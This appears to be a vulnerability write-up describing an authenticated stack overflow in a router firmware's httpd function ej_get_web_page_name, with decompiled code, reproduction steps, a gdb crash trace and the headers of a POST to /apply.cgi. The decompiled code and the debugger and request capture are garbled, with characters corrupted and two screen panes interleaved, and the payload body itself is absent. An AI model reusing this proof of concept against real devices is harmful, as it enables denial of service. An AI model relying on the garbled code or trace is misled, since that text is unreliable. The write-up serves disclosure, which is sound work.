

the function ej_get_web_page_name contains stack overflow vulnerability.

```
{
    v8 = 0;
    memset(v9, 0, sizeo+(v9));
    v7 = (const char *)get_cgi("submit_button");
    if (!v/)
        v7 = "index";
    sprintf(&v8, "%s", v7);
    if (!strcasecmp(&v8, "550"))
    {
        v5 = wfprintf(a2, "hset.htm");
        goto LABEL_6;
    }
    v3 = &v8;
}
```

but this vulnerability must be authenticated. This vulnerability can cause dos(deny of service)

2. Recurring loopholes and POC

To reproduce the vulnerability, the following steps can be followed:

Start frimware through QEMU system or other methods (real device)

Attack with the following POC attacks(you need to replace session_id)

```
gdb-multiarch /home/iot/Desktop 80x24
                                                             0x14
                                                             Request
      0x248691d
    : 0x739300
                                                             Raw Params Headers Hex
      0x61616161 ("aaaa"?)
                                                             1 POST /apply.cgi;session_id=65fadc4eef72718d160532873503b59e HTTP/1.1 2 Host: 192.168.1.1
                  → 0x00000000
                                                              User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:73.0) Gecko/20100101
                                                              Firefox/73.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 1055

Origin: http://192.168.1.1

Connection: close
 $sp
 7ff84ea4 +0x0004:
          +0x0008:
                                                              Connection: close
                                                              Referer: http://192.168.1.1/index.asp;session_id=65fadc4eef72718d160532873503b59e
          +0x000c:
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
                                                              Upgrade-Insecure-Requests: 1
                    +0×0010:
                                                              <7ff84eb4 +0x0014:</pre>
<7ff84eb8 +0x0018:</pre>
                                                              Cannot disassemble from $PC
  Cannot access memory at address 0x61616160
#0] Id 1, Name: "httpd", <mark>stopped</mark>, reason: SIGSEGV
0x61616161 in ?? ()
```

```
POST /apply.cgi;session_id=65fadc4eef72718d160532873503b59e HTTP/1.1
```

Host: 192.168.1.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 1055

Origin: http://192.168.1.1

Connection: close

Referer: http://192.168.1.1/index.asp;session_id=65fadc4eef72718d160532873503b59e

Upgrade-Insecure-Requests: 1



